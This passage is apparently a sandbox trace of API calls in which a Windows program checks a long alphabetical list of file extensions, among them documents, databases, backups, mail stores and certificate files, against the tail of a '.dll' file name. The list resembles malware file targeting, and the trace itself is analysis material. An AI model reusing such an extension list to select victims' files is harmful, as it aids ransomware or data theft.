	[0180.427] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0180.428] lstrlenW (lpString=".ai4") returned 4
	[0180.428] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0180.428] lstrlenW (lpString=".ai5") returned 4
	[0180.428] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0180.428] lstrlenW (lpString=".ai6") returned 4
	[0180.428] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0180.428] lstrlenW (lpString=".ai7") returned 4
	[0180.428] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0180.428] lstrlenW (lpString=".ai8") returned 4
	[0180.428] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0180.428] lstrlenW (lpString=".anim") returned 5
	[0180.428] lstrcmpiW (lpString1=".anim", lpString2="S.dll") returned -1
	[0180.428] lstrlenW (lpString=".arw") returned 4
	[0180.428] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0180.428] lstrlenW (lpString=".as") returned 3
	[0180.428] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0180.428] lstrlenW (lpString=".asa") returned 4
	[0180.428] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0180.428] lstrlenW (lpString=".asc") returned 4
	[0180.428] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0180.428] lstrlenW (lpString=".ascx") returned 5
	[0180.428] lstrcmpiW (lpString1=".ascx", lpString2="S.dll") returned -1
	[0180.428] lstrlenW (lpString=".asm") returned 4
	[0180.428] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0180.428] lstrlenW (lpString=".asmx") returned 5
	[0180.428] lstrcmpiW (lpString1=".asmx", lpString2="S.dll") returned -1
	[0180.428] lstrlenW (lpString=".asp") returned 4
	[0180.428] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0180.428] lstrlenW (lpString=".aspx") returned 5
	[0180.429] lstrcmpiW (lpString1=".aspx", lpString2="S.dll") returned -1
	[0180.429] lstrlenW (lpString=".asr") returned 4
	[0180.429] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0180.429] lstrlenW (lpString=".asx") returned 4
	[0180.429] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0180.429] lstrlenW (lpString=".avi") returned 4
	[0180.429] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0180.429] lstrlenW (lpString=".avs") returned 4
	[0180.429] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0180.429] lstrlenW (lpString=".backup") returned 7
	[0180.429] lstrcmpiW (lpString1=".backup", lpString2="cPS.dll") returned -1
	[0180.429] lstrlenW (lpString=".bak") returned 4
	[0180.429] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0180.429] lstrlenW (lpString=".bay") returned 4
	[0180.429] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0180.429] lstrlenW (lpString=".bd") returned 3
	[0180.429] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0180.429] lstrlenW (lpString=".bin") returned 4
	[0180.429] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0180.429] lstrlenW (lpString=".bmp") returned 4
	[0180.429] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0180.429] lstrlenW (lpString=".bz2") returned 4
	[0180.429] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0180.429] lstrlenW (lpString=".c") returned 2
	[0180.429] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0180.429] lstrlenW (lpString=".cdr") returned 4
	[0180.429] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0180.429] lstrlenW (lpString=".cer") returned 4
	[0180.429] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0180.429] lstrlenW (lpString=".cf") returned 3
	[0180.429] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0180.430] lstrlenW (lpString=".cfc") returned 4
	[0180.430] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0180.430] lstrlenW (lpString=".cfm") returned 4
	[0180.430] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0180.430] lstrlenW (lpString=".cfml") returned 5
	[0180.430] lstrcmpiW (lpString1=".cfml", lpString2="S.dll") returned -1
	[0180.430] lstrlenW (lpString=".cfu") returned 4
	[0180.430] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0180.430] lstrlenW (lpString=".chm") returned 4
	[0180.430] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0180.430] lstrlenW (lpString=".cin") returned 4
	[0180.430] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0180.430] lstrlenW (lpString=".class") returned 6
	[0180.430] lstrcmpiW (lpString1=".class", lpString2="PS.dll") returned -1
	[0180.430] lstrlenW (lpString=".clx") returned 4
	[0180.430] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0180.430] lstrlenW (lpString=".config") returned 7
	[0180.430] lstrcmpiW (lpString1=".config", lpString2="cPS.dll") returned -1
	[0180.430] lstrlenW (lpString=".cpp") returned 4
	[0180.430] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0180.430] lstrlenW (lpString=".cr2") returned 4
	[0180.430] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0180.430] lstrlenW (lpString=".crt") returned 4
	[0180.430] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0180.430] lstrlenW (lpString=".crw") returned 4
	[0180.430] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0180.430] lstrlenW (lpString=".cs") returned 3
	[0180.430] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0180.430] lstrlenW (lpString=".css") returned 4
	[0180.430] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0180.431] lstrlenW (lpString=".csv") returned 4
	[0180.431] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0180.431] lstrlenW (lpString=".cub") returned 4
	[0180.431] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0180.431] lstrlenW (lpString=".dae") returned 4
	[0180.431] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0180.431] lstrlenW (lpString=".dat") returned 4
	[0180.431] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0180.431] lstrlenW (lpString=".db") returned 3
	[0180.431] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0180.431] lstrlenW (lpString=".dbf") returned 4
	[0180.431] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0180.431] lstrlenW (lpString=".dbx") returned 4
	[0180.431] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0180.431] lstrlenW (lpString=".dc3") returned 4
	[0180.431] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0180.431] lstrlenW (lpString=".dcm") returned 4
	[0180.431] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0180.431] lstrlenW (lpString=".dcr") returned 4
	[0180.431] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0180.431] lstrlenW (lpString=".der") returned 4
	[0180.431] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0180.431] lstrlenW (lpString=".dib") returned 4
	[0180.431] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0180.431] lstrlenW (lpString=".dic") returned 4
	[0180.431] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0180.432] lstrlenW (lpString=".dif") returned 4
	[0180.432] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0180.432] lstrlenW (lpString=".divx") returned 5
	[0180.432] lstrcmpiW (lpString1=".divx", lpString2="S.dll") returned -1
	[0180.432] lstrlenW (lpString=".djvu") returned 5
	[0180.432] lstrcmpiW (lpString1=".djvu", lpString2="S.dll") returned -1
	[0180.432] lstrlenW (lpString=".dng") returned 4
	[0180.432] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0180.432] lstrlenW (lpString=".doc") returned 4
	[0180.432] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0180.432] lstrlenW (lpString=".docm") returned 5
	[0180.432] lstrcmpiW (lpString1=".docm", lpString2="S.dll") returned -1
	[0180.432] lstrlenW (lpString=".docx") returned 5
	[0180.432] lstrcmpiW (lpString1=".docx", lpString2="S.dll") returned -1
	[0180.432] lstrlenW (lpString=".dot") returned 4
	[0180.432] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0180.432] lstrlenW (lpString=".dotm") returned 5
	[0180.432] lstrcmpiW (lpString1=".dotm", lpString2="S.dll") returned -1
	[0180.432] lstrlenW (lpString=".dotx") returned 5
	[0180.432] lstrcmpiW (lpString1=".dotx", lpString2="S.dll") returned -1
	[0180.432] lstrlenW (lpString=".dpx") returned 4
	[0180.432] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0180.432] lstrlenW (lpString=".dqy") returned 4
	[0180.432] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0180.432] lstrlenW (lpString=".dsn") returned 4
	[0180.432] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0180.432] lstrlenW (lpString=".dt") returned 3
	[0180.432] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0180.432] lstrlenW (lpString=".dtd") returned 4
	[0180.432] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0180.433] lstrlenW (lpString=".dwg") returned 4
	[0180.433] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0180.433] lstrlenW (lpString=".dwt") returned 4
	[0180.433] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0180.433] lstrlenW (lpString=".dx") returned 3
	[0180.433] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0180.433] lstrlenW (lpString=".dxf") returned 4
	[0180.433] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0180.433] lstrlenW (lpString=".edml") returned 5
	[0180.433] lstrcmpiW (lpString1=".edml", lpString2="S.dll") returned -1
	[0180.433] lstrlenW (lpString=".efd") returned 4
	[0180.433] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0180.433] lstrlenW (lpString=".elf") returned 4
	[0180.433] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0180.433] lstrlenW (lpString=".emf") returned 4
	[0180.433] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0180.433] lstrlenW (lpString=".emz") returned 4
	[0180.433] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0180.433] lstrlenW (lpString=".epf") returned 4
	[0180.433] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0180.433] lstrlenW (lpString=".eps") returned 4
	[0180.433] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0180.433] lstrlenW (lpString=".epsf") returned 5
	[0180.433] lstrcmpiW (lpString1=".epsf", lpString2="S.dll") returned -1
	[0180.433] lstrlenW (lpString=".epsp") returned 5
	[0180.434] lstrcmpiW (lpString1=".epsp", lpString2="S.dll") returned -1
	[0180.434] lstrlenW (lpString=".erf") returned 4
	[0180.434] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0180.434] lstrlenW (lpString=".exr") returned 4
	[0180.434] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0180.434] lstrlenW (lpString=".f4v") returned 4
	[0180.434] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0180.434] lstrlenW (lpString=".fido") returned 5
	[0180.434] lstrcmpiW (lpString1=".fido", lpString2="S.dll") returned -1
	[0180.434] lstrlenW (lpString=".flm") returned 4
	[0180.434] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0180.434] lstrlenW (lpString=".flv") returned 4
	[0180.434] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0180.434] lstrlenW (lpString=".frm") returned 4
	[0180.434] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0180.434] lstrlenW (lpString=".fxg") returned 4
	[0180.434] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0180.434] lstrlenW (lpString=".geo") returned 4
	[0180.434] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0180.434] lstrlenW (lpString=".gif") returned 4
	[0180.434] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0180.434] lstrlenW (lpString=".grs") returned 4
	[0180.434] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0180.434] lstrlenW (lpString=".gz") returned 3
	[0180.434] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0180.434] lstrlenW (lpString=".h") returned 2
	[0180.434] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0180.434] lstrlenW (lpString=".hdr") returned 4
	[0180.434] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0180.435] lstrlenW (lpString=".hpp") returned 4
	[0180.435] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0180.435] lstrlenW (lpString=".hta") returned 4
	[0180.435] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0180.435] lstrlenW (lpString=".htc") returned 4
	[0180.435] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0180.435] lstrlenW (lpString=".htm") returned 4
	[0180.435] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0180.435] lstrlenW (lpString=".html") returned 5
	[0180.435] lstrcmpiW (lpString1=".html", lpString2="S.dll") returned -1
	[0180.435] lstrlenW (lpString=".icb") returned 4
	[0180.435] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0180.435] lstrlenW (lpString=".ics") returned 4
	[0180.435] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0180.435] lstrlenW (lpString=".iff") returned 4
	[0180.435] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0180.435] lstrlenW (lpString=".inc") returned 4
	[0180.435] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0180.435] lstrlenW (lpString=".indd") returned 5
	[0180.435] lstrcmpiW (lpString1=".indd", lpString2="S.dll") returned -1
	[0180.435] lstrlenW (lpString=".ini") returned 4
	[0180.435] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0180.435] lstrlenW (lpString=".iqy") returned 4
	[0180.435] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0180.435] lstrlenW (lpString=".j2c") returned 4
	[0180.435] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0180.435] lstrlenW (lpString=".j2k") returned 4
	[0180.435] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0180.436] lstrlenW (lpString=".java") returned 5
	[0180.436] lstrcmpiW (lpString1=".java", lpString2="S.dll") returned -1
	[0180.436] lstrlenW (lpString=".jp2") returned 4
	[0180.436] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0180.436] lstrlenW (lpString=".jpc") returned 4
	[0180.436] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0180.436] lstrlenW (lpString=".jpe") returned 4
	[0180.436] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0180.436] lstrlenW (lpString=".jpeg") returned 5
	[0180.436] lstrcmpiW (lpString1=".jpeg", lpString2="S.dll") returned -1
	[0180.436] lstrlenW (lpString=".jpf") returned 4
	[0180.436] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0180.436] lstrlenW (lpString=".jpg") returned 4
	[0180.436] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0180.436] lstrlenW (lpString=".jpx") returned 4
	[0180.436] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0180.436] lstrlenW (lpString=".js") returned 3
	[0180.436] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0180.436] lstrlenW (lpString=".jsf") returned 4
	[0180.436] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0180.436] lstrlenW (lpString=".json") returned 5
	[0180.436] lstrcmpiW (lpString1=".json", lpString2="S.dll") returned -1
	[0180.436] lstrlenW (lpString=".jsp") returned 4
	[0180.436] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0180.436] lstrlenW (lpString=".kdc") returned 4
	[0180.436] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0180.436] lstrlenW (lpString=".kmz") returned 4
	[0180.436] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0180.436] lstrlenW (lpString=".kwm") returned 4
	[0180.436] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".lasso") returned 6
	[0180.437] lstrcmpiW (lpString1=".lasso", lpString2="PS.dll") returned -1
	[0180.437] lstrlenW (lpString=".lbi") returned 4
	[0180.437] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".lgf") returned 4
	[0180.437] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".lgp") returned 4
	[0180.437] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".log") returned 4
	[0180.437] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".m1v") returned 4
	[0180.437] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".m4a") returned 4
	[0180.437] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".m4v") returned 4
	[0180.437] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".max") returned 4
	[0180.437] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".md") returned 3
	[0180.437] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0180.437] lstrlenW (lpString=".mda") returned 4
	[0180.437] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".mdb") returned 4
	[0180.437] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".mde") returned 4
	[0180.437] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".mdf") returned 4
	[0180.437] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".mdw") returned 4
	[0180.437] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0180.437] lstrlenW (lpString=".mef") returned 4
	[0180.437] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0180.438] lstrlenW (lpString=".mft") returned 4
	[0180.438] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0180.438] lstrlenW (lpString=".mfw") returned 4
	[0180.438] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0180.438] lstrlenW (lpString=".mht") returned 4
	[0180.438] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0180.438] lstrlenW (lpString=".mhtml") returned 6
	[0180.438] lstrcmpiW (lpString1=".mhtml", lpString2="PS.dll") returned -1
	[0180.438] lstrlenW (lpString=".mka") returned 4
	[0180.438] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0180.438] lstrlenW (lpString=".mkidx") returned 6
	[0180.438] lstrcmpiW (lpString1=".mkidx", lpString2="PS.dll") returned -1
	[0180.438] lstrlenW (lpString=".mkv") returned 4
	[0180.438] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0180.438] lstrlenW (lpString=".mos") returned 4
	[0180.438] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0180.438] lstrlenW (lpString=".mov") returned 4
	[0180.438] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0180.438] lstrlenW (lpString=".mp3") returned 4
	[0180.438] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0180.438] lstrlenW (lpString=".mp4") returned 4
	[0180.439] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".mpeg") returned 5
	[0180.439] lstrcmpiW (lpString1=".mpeg", lpString2="S.dll") returned -1
	[0180.439] lstrlenW (lpString=".mpg") returned 4
	[0180.439] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".mpv") returned 4
	[0180.439] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".mrw") returned 4
	[0180.439] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".msg") returned 4
	[0180.439] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".mxl") returned 4
	[0180.439] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".myd") returned 4
	[0180.439] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".myi") returned 4
	[0180.439] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".nef") returned 4
	[0180.439] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".nrw") returned 4
	[0180.439] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".obj") returned 4
	[0180.439] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".odb") returned 4
	[0180.439] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".odc") returned 4
	[0180.439] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0180.439] lstrlenW (lpString=".odm") returned 4
	[0180.440] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0180.440] lstrlenW (lpString=".odp") returned 4
	[0180.440] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0180.440] lstrlenW (lpString=".ods") returned 4
	[0180.440] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0180.440] lstrlenW (lpString=".oft") returned 4
	[0180.440] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0180.440] lstrlenW (lpString=".one") returned 4
	[0180.440] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0180.440] lstrlenW (lpString=".onepkg") returned 7
	[0180.440] lstrcmpiW (lpString1=".onepkg", lpString2="cPS.dll") returned -1
	[0180.440] lstrlenW (lpString=".onetoc2") returned 8
	[0180.440] lstrcmpiW (lpString1=".onetoc2", lpString2="ncPS.dll") returned -1
	[0180.440] lstrlenW (lpString=".opt") returned 4
	[0180.440] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0180.440] lstrlenW (lpString=".oqy") returned 4
	[0180.440] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0180.440] lstrlenW (lpString=".orf") returned 4
	[0180.440] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0180.440] lstrlenW (lpString=".p12") returned 4
	[0180.440] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0180.440] lstrlenW (lpString=".p7b") returned 4
	[0180.440] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0180.440] lstrlenW (lpString=".p7c") returned 4
	[0180.440] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0180.440] lstrlenW (lpString=".pam") returned 4
	[0180.440] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0180.440] lstrlenW (lpString=".pbm") returned 4
	[0180.441] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0180.441] lstrlenW (lpString=".pct") returned 4
	[0180.441] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0180.441] lstrlenW (lpString=".pcx") returned 4
	[0180.441] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0180.441] lstrlenW (lpString=".pdd") returned 4
	[0180.441] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0180.441] lstrlenW (lpString=".pdf") returned 4
	[0180.441] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0180.441] lstrlenW (lpString=".pdp") returned 4
	[0180.441] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0180.441] lstrlenW (lpString=".pef") returned 4
	[0180.441] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0180.441] lstrlenW (lpString=".pem") returned 4
	[0180.441] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0180.441] lstrlenW (lpString=".pff") returned 4
	[0180.441] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0180.441] lstrlenW (lpString=".pfm") returned 4
	[0180.441] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0180.441] lstrlenW (lpString=".pfx") returned 4
	[0180.442] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0180.442] lstrlenW (lpString=".pgm") returned 4
	[0180.442] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0180.442] lstrlenW (lpString=".php") returned 4
	[0180.442] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0180.442] lstrlenW (lpString=".php3") returned 5
	[0180.442] lstrcmpiW (lpString1=".php3", lpString2="S.dll") returned -1
	[0180.442] lstrlenW (lpString=".php4") returned 5
	[0180.442] lstrcmpiW (lpString1=".php4", lpString2="S.dll") returned -1
	[0180.442] lstrlenW (lpString=".php5") returned 5
	[0180.442] lstrcmpiW (lpString1=".php5", lpString2="S.dll") returned -1
	[0180.442] lstrlenW (lpString=".phtml") returned 6
	[0180.442] lstrcmpiW (lpString1=".phtml", lpString2="PS.dll") returned -1
	[0180.442] lstrlenW (lpString=".pict") returned 5
	[0180.442] lstrcmpiW (lpString1=".pict", lpString2="S.dll") returned -1
	[0180.442] lstrlenW (lpString=".pl") returned 3
	[0180.442] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0180.442] lstrlenW (lpString=".pls") returned 4
	[0180.442] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0180.442] lstrlenW (lpString=".pm") returned 3
	[0180.442] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0180.442] lstrlenW (lpString=".png") returned 4
	[0180.442] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0180.442] lstrlenW (lpString=".pnm") returned 4
	[0180.442] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0180.442] lstrlenW (lpString=".pot") returned 4
	[0180.442] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0180.442] lstrlenW (lpString=".potm") returned 5
	[0180.443] lstrcmpiW (lpString1=".potm", lpString2="S.dll") returned -1
	[0180.443] lstrlenW (lpString=".potx") returned 5
	[0180.443] lstrcmpiW (lpString1=".potx", lpString2="S.dll") returned -1
	[0180.443] lstrlenW (lpString=".ppa") returned 4
	[0180.443] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0180.443] lstrlenW (lpString=".ppam") returned 5
	[0180.443] lstrcmpiW (lpString1=".ppam", lpString2="S.dll") returned -1
	[0180.443] lstrlenW (lpString=".ppm") returned 4
	[0180.443] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0180.443] lstrlenW (lpString=".pps") returned 4
	[0180.443] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0180.443] lstrlenW (lpString=".ppsm") returned 5
	[0180.443] lstrcmpiW (lpString1=".ppsm", lpString2="S.dll") returned -1
	[0180.443] lstrlenW (lpString=".ppt") returned 4
	[0180.443] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0180.443] lstrlenW (lpString=".pptm") returned 5
	[0180.443] lstrcmpiW (lpString1=".pptm", lpString2="S.dll") returned -1
	[0180.443] lstrlenW (lpString=".pptx") returned 5
	[0180.443] lstrcmpiW (lpString1=".pptx", lpString2="S.dll") returned -1
	[0180.443] lstrlenW (lpString=".prn") returned 4
	[0180.443] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0180.443] lstrlenW (lpString=".ps") returned 3
	[0180.443] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0180.443] lstrlenW (lpString=".psb") returned 4
	[0180.443] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0180.444] lstrlenW (lpString=".psd") returned 4
	[0180.444] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0180.444] lstrlenW (lpString=".pst") returned 4
	[0180.444] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0180.444] lstrlenW (lpString=".ptx") returned 4
	[0180.444] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0180.444] lstrlenW (lpString=".pub") returned 4
